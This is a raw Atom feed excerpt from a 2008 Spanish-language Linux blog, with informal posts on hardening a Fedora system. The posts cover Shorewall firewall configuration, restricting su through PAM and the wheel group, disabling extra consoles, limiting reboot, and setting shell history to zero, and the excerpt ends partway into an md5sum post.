/&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# Shorewall version 3.4 ­ Interfaces File&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# For information about entries in this file, type "man shorewall­interfaces"&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# For additional information, see&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# http://shorewall.net/Documenta                  tion.htm#Interfaces&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;###############################################################################&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#ZONE   INTERFACE       BROADCAST       OPTIONS&lt;/p&gt;&lt;p&gt;&lt;br /&gt;net     eth0            detect &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#loc    eth1            detect&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#dms    eth2            detect&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#LAST LINE ­­ ADD YOUR ENTRIES BEFORE THIS ONE ­­ DO NOT REMOVE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;4­Definir politicas&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost shorewall]# vim policy &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# Shorewall version 3.4 ­ Policy File&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# For information about entries in this file, type "man shorewall­policy"&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# See http://shorewall.net/Documentat on.htm#Policy for additional information.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;                                                       i&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;###############################################################################&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#SOURCE         DEST            POLICY          LOG             LIMIT:BURST&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#                                               LEVEL&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#MODO SOMBRA&lt;/p&gt;&lt;p&gt;&lt;br /&gt;net             fw              DROP&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#MODO SOMBRA&lt;/p&gt;&lt;p&gt;&lt;br /&gt;fw              net             ACCEPT&lt;/p&gt;&lt;p&gt;&lt;br /&gt;all             all             REJECT          info&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#dmz            fw              ACCEPT          &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#fw             dmz             ACCEPT          &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#loc            fw              ACCEPT&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#fw             loc             ACCEPT&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#LAST LINE ­­ DO NOT REMOVE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;4­Definimos reglas&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost shorewall]# vim rules &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# Shorewall version 3.4 ­ Rules File&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# For information on the settings in this file, type "man shorewall­rules"&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;# See http://shorewall.net/Documentat on.htm#Rules for additional information.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;                                                            i&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#################################################################################&lt;/p&gt;&lt;p&gt;&lt;br /&gt;############################&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#ACTION SOURCE          DEST            PROTO   DEST    SOURCE          ORIGINAL        RATE &lt;/p&gt;&lt;p&gt;&lt;br /&gt;USER/   MARK&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ACCEPT  net             fw              tcp     80,25,110&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ACCEPT  net             fw              tcp     53&lt;/p&gt;&lt;p&gt;&lt;br /&gt;ACCEPT  net             fw              udp     53&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#ACCEPT loc             dmz             tcp     80,25,110,143   &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#DNAT   net             dmz:10.1.76.12  tcp     25              &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#DNAT   net             dmz:10.1.76.94  tcp     80,8080,443             &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#REDIRECT       net     loc:192.168.3.4 5604    tcp     5900    &lt;/p&gt;&lt;p&gt;&lt;br /&gt;#PORT FORDWARDING  ON REDIRECT             C&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#                                               PORT    PORT(S)         DEST            LIMIT           GROUP&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#SECTION ESTABLISHED&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#SECTION RELATED&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#SECTION NEW&lt;/p&gt;&lt;p&gt;&lt;br /&gt;#LAST LINE ­­ ADD YOUR ENTRIES BEFORE THIS ONE ­­ DO NOT REMOVE&lt;/p&gt;&lt;p&gt;&lt;br /&gt;~                                                                                                                            &lt;/p&gt;&lt;p&gt;&lt;br /&gt;~                                                                                                                            &lt;/p&gt;&lt;p&gt;&lt;br /&gt;~                                                                    &lt;/p&gt;&lt;p&gt;&lt;br /&gt;5­Iniciar el firewall&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost ~]# service shorewall start&lt;/p&gt;&lt;p&gt;&lt;br /&gt;   Shorewall is already running&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost ~]# service shorewall stop&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Stopping Shorewall...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;IP Forwarding Enabled&lt;/p&gt;&lt;p&gt;&lt;br /&gt;done.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;[root@localhost ~]# service shorewall start&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Initializing...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Determining Zones...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;   IPv4 Zones: net&lt;/p&gt;&lt;p&gt;&lt;br /&gt;   Firewall Zone: fw&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Validating interfaces file...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Validating hosts file...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Pre­processing Actions...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;   Pre­processing /usr/share/shorewall/action.Drop...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;   Pre­processing /usr/share/shorewall/action.Reject...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Validating Policy file...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Determining Hosts in Zones...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;   net Zone: eth0:0.0.0.0/0&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Deleting user chains...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling /etc/shorewall/routestopped ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creating Interface Chains...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling Common Rules&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling IP Forwarding...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling /etc/shorewall/rules...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling Actions...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling /usr/share/shorewall/action.Drop for Chain Drop...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling /usr/share/shorewall/action.Reject for Chain Reject...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling /etc/shorewall/policy...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling Traffic Control Rules...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Compiling Rule Activation...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Shorewall configuration compiled to /var/lib/shorewall/.start&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Processing /etc/shorewall/params ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Starting Shorewall....&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Initializing...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Processing /etc/shorewall/init ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Clearing Traffic Control/QOS&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Deleting user chains...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Processing /etc/shorewall/continue ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Enabling Loopback and DNS Lookups&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creating Interface Chains...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Setting up SMURF control...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Processing /etc/shorewall/initdone ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Setting up Black List...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Setting up ARP filtering...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Setting up Accept Source Routing...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;IP Forwarding Enabled&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Setting up SYN Flood Protection...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Setting up Rules...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Setting up Actions...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creating action chain Drop&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creating action chain Reject&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creating action chain dropBcast&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creating action chain dropInvalid&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Creating action chain dropNotSyn&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Applying Policies...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Activating Rules...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Processing /etc/shorewall/start ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Processing /etc/shorewall/started ...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;done.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1810646989282489868?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1810646989282489868/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1810646989282489868' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1810646989282489868'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1810646989282489868'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/shorewall-fw-4-linux-on-fc7-shorewall.html' title=''/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-2035803094140722328</id><published>2008-01-15T11:52:00.000-08:00</published><updated>2008-01-15T12:09:29.434-08:00</updated><title type='text'>BLINDAJE DEL SISTEMA 4</title><content type='html'>OKAS COMO VIMOS QUE ONDA EN EL 3 PUES PODEMOS HACER USO DE CONSOLAS PERO QUE PASA SI UN USUARIO QUE YA NO TIENE ACCESO A LAS CONSOLAS RESTRINGIDAD QUIERE HACER USO DE LA MAGICA PALABRA!!!&lt;br /&gt;&lt;br /&gt;ANILLO DE ROCA LA MOLE QUIERO SER !! EN ESTE CASO sera&lt;br /&gt;[root@desarrollo console.apps]# su -l&lt;br /&gt; pues si se convierte en root no y pues eso no puede ser solo para usuarios autorizados no cualquiera brinca en nuestro tapete!!! o que so todos!!!o todas!!! jaaa&lt;br /&gt; bueno en realidad son herrmientas administrativas pero que pueden llegar a ser algo inseguras &lt;br /&gt;vamos a checar el siguiente fichero-&lt;br /&gt;&lt;br /&gt;[root@desarrollo ~]# vim /etc/pam.d/su&lt;br /&gt;***************************************************&lt;br /&gt;#%PAM-1.0&lt;br /&gt;auth            sufficient      pam_rootok.so&lt;br /&gt;# Uncomment the following line to implicitly trust users in the "wheel" group.&lt;br /&gt;#auth           sufficient      pam_wheel.so trust use_uid&lt;br /&gt;# Uncomment the following line to require a user to be in the "wheel" group.&lt;br /&gt;#auth           required        pam_wheel.so use_uid&lt;br /&gt;auth            include         system-auth&lt;br /&gt;account         sufficient      pam_succeed_if.so uid = 0 use_uid quiet&lt;br /&gt;account         include         system-auth&lt;br /&gt;password        include         system-auth&lt;br /&gt;session         include         system-auth&lt;br /&gt;session         optional        pam_xauth.so&lt;br /&gt;&lt;br /&gt;***********************************************************&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;bueno aqui lo hay que hacer es que descomentar la siguientes lineas&lt;br /&gt;&lt;br /&gt;auth           sufficient      pam_wheel.so trust use_uid&lt;br /&gt;&lt;br /&gt;y bueno con esto lo guardamos y ahora entren la consola 2 por ejemplo y traten de comvertirse en root y jaaa talannnnnnnn!!! bueno con esto debemos tomar en cuenta que tenemos que administrar bien nuestro sistema si no esto srive pa pura madre me refiero a los grupos de trabajo!!!y usuarios aqui solo los chidos estaran en el grupo wheel ok..&lt;br /&gt;&lt;br /&gt;bueno los podemos manejar editan el fichero:&lt;br /&gt;&lt;br /&gt;[root@desarrollo ~]# vim /etc/group&lt;br /&gt;&lt;br /&gt;se recomienda DESABILITAR CUENTAS NO UTILIZADAS y grupos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-2035803094140722328?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/2035803094140722328/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=2035803094140722328' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2035803094140722328'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2035803094140722328'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/blindaje-del-sistema-4.html' title='BLINDAJE DEL SISTEMA 4'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-5151315337600755737</id><published>2008-01-15T11:38:00.000-08:00</published><updated>2008-01-15T11:50:02.177-08:00</updated><title type='text'>BLINDAJE DEL SISTEMA 3</title><content type='html'>AHORA VEREMOS OTRO TIPO DE MADRES QUE NOS PUEDEN JODER .NUESTRO SISTEMA,,&lt;br /&gt;BUENO YA NOS DIMOS CUENTA QUE TENEMOS 6 TTY Y UNA GRAFICA VALE,..BUENO EN LA BUENA ADMINISTRACION SE RECOMIENDA NO ES AHUEVO!!! REPITO NO ES AHUEVO ES SOLO POR SEGURIDAD..QUE TENGAMOS SOLO 3 CONSOLAS&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;1ERO CHEQUEMOS ESTE FICHERO&lt;br /&gt;&lt;br /&gt;vim /etc/securetty&lt;br /&gt;&lt;br /&gt;VEREMOS LO SIGUIENTE:&lt;br /&gt;***********************************************&lt;br /&gt;console&lt;br /&gt;vc/1&lt;br /&gt;vc/2&lt;br /&gt;vc/3&lt;br /&gt;vc/4&lt;br /&gt;vc/5&lt;br /&gt;vc/6&lt;br /&gt;vc/7&lt;br /&gt;vc/8&lt;br /&gt;vc/9&lt;br /&gt;vc/10&lt;br /&gt;vc/11&lt;br /&gt;tty1&lt;br /&gt;tty2&lt;br /&gt;tty3&lt;br /&gt;tty4&lt;br /&gt;tty5&lt;br /&gt;tty6&lt;br /&gt;tty7&lt;br /&gt;tty8&lt;br /&gt;tty9&lt;br /&gt;tty10&lt;br /&gt;tty11&lt;br /&gt;~                    &lt;br /&gt;************************+&lt;br /&gt;COMO SE PODRAN DAR CUENTA HAY VARIAS TTY'S AHORA PARA DESABILITARLAS SOLO DAREMOS UN ESPACIO ANTES DE LA TTY ASI:&lt;br /&gt;_tty3&lt;br /&gt;_tty4&lt;br /&gt;_tty5&lt;br /&gt;_tty6&lt;br /&gt;&lt;br /&gt;NOTA:EL SIGNO'_' ES UN ESPACIO ANTES..&lt;br /&gt;&lt;br /&gt;BUENO  ME FALTO DECIRLES QUE HAY QUE EDITARLO Y VA QUEDAR LISTO PARA DESAHABILITAR ESS CONSOLAS..GUARDENLO E INTENTEN CON CTR+ALT+F3 ENTRAR A LA TTY3 POR EJEMPLO SE DARAN CUENTA QUE YA SE LA PELARON NO PUEDEN ENTRAR AHORA HAGANLO CON LA TTY1 Y VERAN QUE NO HAY PEX...&lt;br /&gt; ESTO ES CON EL FIN DE NO DEJAR PUERTAS ABIERTAS A CUALQUIER OGT QUE SE QUIERA PASAR DE V...EN FIN&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-5151315337600755737?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/5151315337600755737/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=5151315337600755737' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5151315337600755737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/5151315337600755737'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/blindaje-del-sistema-3.html' title='BLINDAJE DEL SISTEMA 3'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-6261255676781262857</id><published>2008-01-15T11:26:00.000-08:00</published><updated>2008-01-15T11:35:31.653-08:00</updated><title type='text'>BLINDAJE DEL SISTEMA 2</title><content type='html'>OKAS SEGUIMOS CON EL BLINDAJE AHORA CON OTRO TIPO DE ACCIONES&lt;br /&gt;BUENO COMO SE PODRAN DAR CUENTA UN USUARIO AÑADIDO PODRA SER USO DE VARIOS COMANDOS QUE PUEDEN LLEGAR A SER DAÑINOS POR EJEMPLO SI UN USUARIO EJECUTA EL SHUTDOWN NOS TIRA EL SISTEMA Y NO HAY NECESIDAD DE SER ROOT PARA HACERLO A SI QUE DEBENOS PROTEGERNOS DE ESTO.&lt;br /&gt;&lt;br /&gt;ahora entremos a este directorio&lt;br /&gt;[root@desarrollo base]# vim /etc/security/console.apps/&lt;br /&gt;veremos lo siguiente&lt;br /&gt;**********************************************************&lt;br /&gt;&lt;br /&gt;authconfig                    kbdrate                       pm-suspend-hybrid             system-config-authentication  system-config-network-cmd&lt;br /&gt;authconfig-gtk                neat                          poweroff                      system-config-display         system-config-securitylevel&lt;br /&gt;authconfig-tui                pm-hibernate                  reboot                        system-config-firewall        system-config-services&lt;br /&gt;eject                         pm-powersave                  serviceconf                   system-config-language        system-config-users&lt;br /&gt;halt                          pm-suspend                    setup                         system-config-network         &lt;br /&gt;&lt;br /&gt;************************************************&lt;br /&gt;&lt;br /&gt;si queremos quitar el reboot por ejemplo haremos lo siguiente..&lt;br /&gt;&lt;br /&gt;[root@desarrollo console.apps]# mv reboot reboot.defaul&lt;br /&gt;&lt;br /&gt;bueno prueben esto creen un usuario y despues entren al sistema con este ahora intenten tirar el sistema con reboot y veran que ya se la pelo...!!!!!!!!!!!!&lt;br /&gt;solo root (the good) podra hacerlo ..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-6261255676781262857?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/6261255676781262857/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=6261255676781262857' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6261255676781262857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6261255676781262857'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/blindaje-del-sistema-2.html' title='BLINDAJE DEL SISTEMA 2'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-197001207278923450</id><published>2008-01-15T11:06:00.000-08:00</published><updated>2008-01-15T11:22:06.435-08:00</updated><title type='text'>BLINDAJE DEL SISTEMA  1</title><content type='html'>HOLA PUES ESTE POST VA TRATAR MAS HACERCA DE LA SEGURIDAD DE NUESTRO SISTEMA BUENO POR LO MENOS AMI ME LLAMA MUCHO LA ATENCION...&lt;br /&gt;VEAMO QUE PEX...&lt;br /&gt;&lt;br /&gt;Como sabemos en nuestro sistema tenemos la ayuda del history por si queremos repetir un comando ya escrito en nuestra mamda consola jaa eso que!! bueno pues un hacker puede tener acceso a todo que le hagamos en nuestra session. y utlizar esa informacion para su beneficio pues hay les va.&lt;br /&gt;&lt;br /&gt;Por default nuestro sistema admite 1000 lineas en este archivo lo acorto para no hacer este post mas largo&lt;br /&gt;ejemplo&lt;br /&gt;&lt;br /&gt;[root@desarrollo base]# tail -5 /root/.bash_history&lt;br /&gt;pwd&lt;br /&gt;ls -l&lt;br /&gt;pwd&lt;br /&gt;exit&lt;br /&gt;exit&lt;br /&gt;&lt;br /&gt;Lo 1ero que debemos hacer es editar el siguiente archivo..&lt;br /&gt;&lt;br /&gt;[root@desarrollo base]# vim /etc/profile&lt;br /&gt;&lt;br /&gt;veremos lo siguiente&lt;br /&gt;&lt;br /&gt;*****************************************&lt;br /&gt;# /etc/profile&lt;br /&gt;&lt;br /&gt;# System wide environment and startup programs, for login setup&lt;br /&gt;# Functions and aliases go in /etc/bashrc&lt;br /&gt;&lt;br /&gt;pathmunge () {&lt;br /&gt;        if ! echo $PATH | /bin/egrep -q "(^|:)$1($|:)" ; then&lt;br /&gt;           if [ "$2" = "after" ] ; then&lt;br /&gt;              PATH=$PATH:$1&lt;br /&gt;           else&lt;br /&gt;              PATH=$1:$PATH&lt;br /&gt;           fi&lt;br /&gt;        fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# ksh workaround&lt;br /&gt;if [ -z "$EUID" -a -x /usr/bin/id ]; then&lt;br /&gt;        EUID=`id -u`&lt;br /&gt;        UID=`id -ru`&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;# Path manipulation&lt;br /&gt;if [ "$EUID" = "0" ]; then&lt;br /&gt;        pathmunge /sbin&lt;br /&gt;        pathmunge /usr/sbin&lt;br /&gt;        pathmunge /usr/local/sbin&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;# No core files by default&lt;br /&gt;ulimit -S -c 0 &gt; /dev/null 2&gt;&amp;1&lt;br /&gt;&lt;br /&gt;if [ -x /usr/bin/id ]; then&lt;br /&gt;        USER="`id -un`"&lt;br /&gt;        LOGNAME=$USER&lt;br /&gt;        MAIL="/var/spool/mail/$USER"&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;HOSTNAME=`/bin/hostname`&lt;br /&gt;HISTSIZE=1000&lt;br /&gt;&lt;br /&gt;                                                                                                                                           1,1      Comienzo&lt;br /&gt;&lt;br /&gt;if [ -z "$INPUTRC" -a ! -f "$HOME/.inputrc" ]; then&lt;br /&gt;    INPUTRC=/etc/inputrc&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;export PATH USER LOGNAME MAIL HOSTNAME HISTSIZE INPUTRC&lt;br /&gt;&lt;br /&gt;for i in /etc/profile.d/*.sh ; do&lt;br /&gt;    if [ -r "$i" ]; then&lt;br /&gt;        . $i&lt;br /&gt;    fi&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;unset i&lt;br /&gt;unset pathmunge&lt;br /&gt;                                                                                                                                           54,1        Final&lt;br /&gt;&lt;br /&gt;*****************************************************&lt;br /&gt;&lt;br /&gt;COMO VERAN ES EL COMPORTAMIENTO DEL SISTEMA BUENO MODIFIQUEMOS ESTE CODIGO CON UNA SENCILLA LINEA&lt;br /&gt;ESTA HISTSIZE=1000&lt;br /&gt;POR ESTA&lt;br /&gt;HISTSIZE=0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ASI HAREMOS QUE EL HOSTORY SEA 0 Y ASI NO PODRAN VER QUE ES LO QUE HICIMOS EN NUESTRA SESSION &lt;br /&gt;LO MALO ES QUE ES GLOBAL Y TODOS LOS USUARIO TENDRA ESTA RESTRICCION.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-197001207278923450?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/197001207278923450/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=197001207278923450' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/197001207278923450'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/197001207278923450'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/01/blindaje-del-sistema-1.html' title='BLINDAJE DEL SISTEMA  1'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-6230685751169010230</id><published>2008-01-13T19:26:00.000-08:00</published><updated>2008-01-13T19:37:54.770-08:00</updated><title type='text'></title><content type='html'>INTEGRIDAD DE LOS DATOS CON MD5SUM&lt;br /&gt;&lt;p&gt;VEAMOS EL MANUAL &lt;/p&gt;&lt;p&gt;&lt;br /&gt;ekxo@victoria:~$ md5sum --help&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Uso: md5sum [OPCION] [ARCHIVO]...&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Muestra o verifica MD5 (128-bit) sumas de comprobación.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Sin ARCHIVO, o cuando es ARCHIVO -, lee la entrada estándar.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;  -b, --binary leer en modo binario&lt;/p&gt;&lt;p&gt;&lt;br /&gt;  -c, --check leer MD5 sumas desde los archivos y los verifica&lt;/p&gt;&lt;p&gt;&lt;br /&gt;  -t, --text leer en modo texto (por defecto)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;Las siguientes dos opciones sólo son útiles al verificar sumas de comprobación:&lt;/p&gt;&lt;p&gt;&lt;br /&gt;      --status           no mostrar nada, el código de estado indica el éxito&lt;/p&gt;&lt;p&gt;&lt;br /&gt;  -w, --warn             avisa sobre líneas con un formato de 